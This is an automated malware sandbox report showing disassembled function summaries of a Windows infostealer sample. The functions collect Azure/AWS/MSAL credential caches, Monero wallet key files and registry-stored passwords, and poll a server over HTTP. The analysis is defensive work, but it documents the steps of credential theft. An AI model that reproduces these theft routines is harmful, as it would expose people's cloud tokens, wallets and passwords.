Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 6c93dc93a49685cbe0f926558b272eb5905d1df97ec667d2ca6186cc5e9147de
Instruction ID: cb43b502cf4cbb1cbc14ddca19585497489d0658c2d9487f351a00a74d6c26f9
Opcode Fuzzy Hash: 6c93dc93a49685cbe0f926558b272eb5905d1df97ec667d2ca6186cc5e9147de
Instruction Fuzzy Hash: AF715E71A00318ABDB24EFA4DC49BEE7774FF54704F108198F14A6B190DBB4AA85CF61

Function 00D35510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A820: lstrlen.KERNEL32(00D24F05,?,?,00D24F05,00D40DDE), ref: 00D3A82B
Part of subcall function 00D3A820: lstrcpy.KERNEL32(00D40DDE,00000000), ref: 00D3A885

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D35644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D356A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D35857

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

Part of subcall function 00D351F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D35228

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

Part of subcall function 00D352C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D35318
Part of subcall function 00D352C0: lstrlen.KERNEL32(00000000), ref: 00D3532F
Part of subcall function 00D352C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00D35364
Part of subcall function 00D352C0: lstrlen.KERNEL32(00000000), ref: 00D35383
Part of subcall function 00D352C0: lstrlen.KERNEL32(00000000), ref: 00D353AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D3578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D35940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D35A0C
Sleep.KERNEL32(0000EA60), ref: 00D35A1B

Strings

ERROR, xrefs: 00D359FE
ERROR, xrefs: 00D35636
ERROR, xrefs: 00D35849
ERROR, xrefs: 00D35932
ERROR, xrefs: 00D35693
ERROR, xrefs: 00D3577D

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 4eb65295958bac99cf2cd0ae6d8dc6e2c3e282fa11da6808e29dc1ebb9596f1d
Instruction ID: 3286710a49bb2a458681c8458de2425f485ad763e988e38c4e088bdb0677297e
Opcode Fuzzy Hash: 4eb65295958bac99cf2cd0ae6d8dc6e2c3e282fa11da6808e29dc1ebb9596f1d
Instruction Fuzzy Hash: A8E14F76A10108AACB14FBB4EC92AED7378EF54300F408168F55766095EF74AF09DBB2

Function 00D34D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D38DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D38E0B

lstrcat.KERNEL32(?,00000000), ref: 00D34DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00D34DCD

Part of subcall function 00D34910: wsprintfA.USER32 ref: 00D3492C
Part of subcall function 00D34910: FindFirstFileA.KERNEL32(?,?), ref: 00D34943

lstrcat.KERNEL32(?,00000000), ref: 00D34E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00D34E59

Part of subcall function 00D34910: StrCmpCA.SHLWAPI(?,00D40FDC), ref: 00D34971
Part of subcall function 00D34910: StrCmpCA.SHLWAPI(?,00D40FE0), ref: 00D34987
Part of subcall function 00D34910: FindNextFileA.KERNEL32(000000FF,?), ref: 00D34B7D
Part of subcall function 00D34910: FindClose.KERNEL32(000000FF), ref: 00D34B92

lstrcat.KERNEL32(?,00000000), ref: 00D34EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00D34EE5

Part of subcall function 00D34910: wsprintfA.USER32 ref: 00D349B0
Part of subcall function 00D34910: StrCmpCA.SHLWAPI(?,00D408D2), ref: 00D349C5
Part of subcall function 00D34910: wsprintfA.USER32 ref: 00D349E2
Part of subcall function 00D34910: PathMatchSpecA.SHLWAPI(?,?), ref: 00D34A1E
Part of subcall function 00D34910: lstrcat.KERNEL32(?,0184F018), ref: 00D34A4A
Part of subcall function 00D34910: lstrcat.KERNEL32(?,00D40FF8), ref: 00D34A5C
Part of subcall function 00D34910: lstrcat.KERNEL32(?,?), ref: 00D34A70
Part of subcall function 00D34910: lstrcat.KERNEL32(?,00D40FFC), ref: 00D34A82
Part of subcall function 00D34910: lstrcat.KERNEL32(?,?), ref: 00D34A96
Part of subcall function 00D34910: CopyFileA.KERNEL32(?,?,00000001), ref: 00D34AAC
Part of subcall function 00D34910: DeleteFileA.KERNEL32(?), ref: 00D34B31

Strings

\.azure\, xrefs: 00D34DC1
Azure\.aws, xrefs: 00D34E5F
\.aws\, xrefs: 00D34E4D
Azure\.azure, xrefs: 00D34DD3
\.IdentityService\, xrefs: 00D34ED9
msal.cache, xrefs: 00D34EF0
*.*, xrefs: 00D34E64
Azure\.IdentityService, xrefs: 00D34EEB
*.*, xrefs: 00D34DD8

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: d1eb8ae30a92fc50311f42db4e40ffa585291ecbc1293cf5e1f9e18f52296304
Instruction ID: 71a9729ec9c3a645721a040c16ca19afbfe64c00960d5edff69e15c065e4f9c6
Opcode Fuzzy Hash: d1eb8ae30a92fc50311f42db4e40ffa585291ecbc1293cf5e1f9e18f52296304
Instruction Fuzzy Hash: C041537A9402186BC750F770EC47FED7638AB64704F004594B685660C1EEB59BCDDBB2

Function 00D21310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D212A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D212B4
Part of subcall function 00D212A0: RtlAllocateHeap.NTDLL(00000000), ref: 00D212BB
Part of subcall function 00D212A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00D212D7
Part of subcall function 00D212A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00D212F5
Part of subcall function 00D212A0: RegCloseKey.ADVAPI32(?), ref: 00D212FF

lstrcat.KERNEL32(?,00000000), ref: 00D2134F
lstrlen.KERNEL32(?), ref: 00D2135C
lstrcat.KERNEL32(?,.keys), ref: 00D21377

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

Part of subcall function 00D38B60: GetSystemTime.KERNEL32(00D40E1A,01840AB8,00D405AE,?,?,00D213F9,?,0000001A,00D40E1A,00000000,?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D38B86

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00D21465

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

Part of subcall function 00D299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D299EC
Part of subcall function 00D299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D29A11
Part of subcall function 00D299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D29A31
Part of subcall function 00D299C0: ReadFile.KERNEL32(000000FF,?,00000000,00D2148F,00000000), ref: 00D29A5A
Part of subcall function 00D299C0: LocalFree.KERNEL32(00D2148F), ref: 00D29A90
Part of subcall function 00D299C0: CloseHandle.KERNEL32(000000FF), ref: 00D29A9A

DeleteFileA.KERNEL32(00000000), ref: 00D214EF

Strings

\Monero\wallet.keys, xrefs: 00D2138D
SOFTWARE\monero-project\monero-core, xrefs: 00D21335
wallet_path, xrefs: 00D21330
.keys, xrefs: 00D2136B

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 36174c9e4fef7fa2536208170a5083fcd1e60ce8d18659d3038f1d45e2d85762
Instruction ID: 8eda6bbd3cff93ff2de9cbf99b9b95756476705a5e34dbf3df66132752c552d1
Opcode Fuzzy Hash: 36174c9e4fef7fa2536208170a5083fcd1e60ce8d18659d3038f1d45e2d85762
Instruction Fuzzy Hash: D35122B1E501196BCB15FB64DD92BED737CEF54300F4041A8B64A62082EE706B89CFB6

Function 00D275D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D272D0: memset.MSVCRT ref: 00D27314
Part of subcall function 00D272D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00D2733A
Part of subcall function 00D272D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00D273B1
Part of subcall function 00D272D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00D2740D
Part of subcall function 00D272D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00D27452
Part of subcall function 00D272D0: HeapFree.KERNEL32(00000000), ref: 00D27459

lstrcat.KERNEL32(36031020,00D417FC), ref: 00D27606
lstrcat.KERNEL32(36031020,00000000), ref: 00D27648
lstrcat.KERNEL32(36031020, : ), ref: 00D2765A
lstrcat.KERNEL32(36031020,00000000), ref: 00D2768F
lstrcat.KERNEL32(36031020,00D41804), ref: 00D276A0
lstrcat.KERNEL32(36031020,00000000), ref: 00D276D3
lstrcat.KERNEL32(36031020,00D41808), ref: 00D276ED
task.LIBCPMTD ref: 00D276FB

Strings

: , xrefs: 00D2764E

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 40e45616970bbb49add01d65f6cfbe823538aba76bafc18fb9a8ea84df6c1008
Instruction ID: ea33333273410016696784d8fe7b53d486e91d8a0ae20508f650a6f1ee705fdf
Opcode Fuzzy Hash: 40e45616970bbb49add01d65f6cfbe823538aba76bafc18fb9a8ea84df6c1008
Instruction Fuzzy Hash: 9F314972901209EFCB04EBB4EC96DEE7778EB54305B144118E112B72A0DA75A946EF72

Function 00D272D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00D27314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00D2733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00D273B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00D2740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00D27452
HeapFree.KERNEL32(00000000), ref: 00D27459
task.LIBCPMTD ref: 00D27555

Strings

Password, xrefs: 00D27401

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 4883dac1c0200945b532a2b0f43a7514dbcb18ce68f53ef5fa449f54352548b8
Instruction ID: 87e5e074f3f04d08846acf4027c407e629ad22345f90248fa2173e8b85d1f72b
Opcode Fuzzy Hash: 4883dac1c0200945b532a2b0f43a7514dbcb18ce68f53ef5fa449f54352548b8
Instruction Fuzzy Hash: B46129B59042689BDB24DB50DC51FDAB7B8FF54304F0481E9E689A6141DBB06BC9CFB0

Function 00D37500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00D37542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D3757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D37603
RtlAllocateHeap.NTDLL(00000000), ref: 00D3760A
wsprintfA.USER32 ref: 00D37640

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Strings

\, xrefs: 00D37560
C, xrefs: 00D3754C
:, xrefs: 00D3755C

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
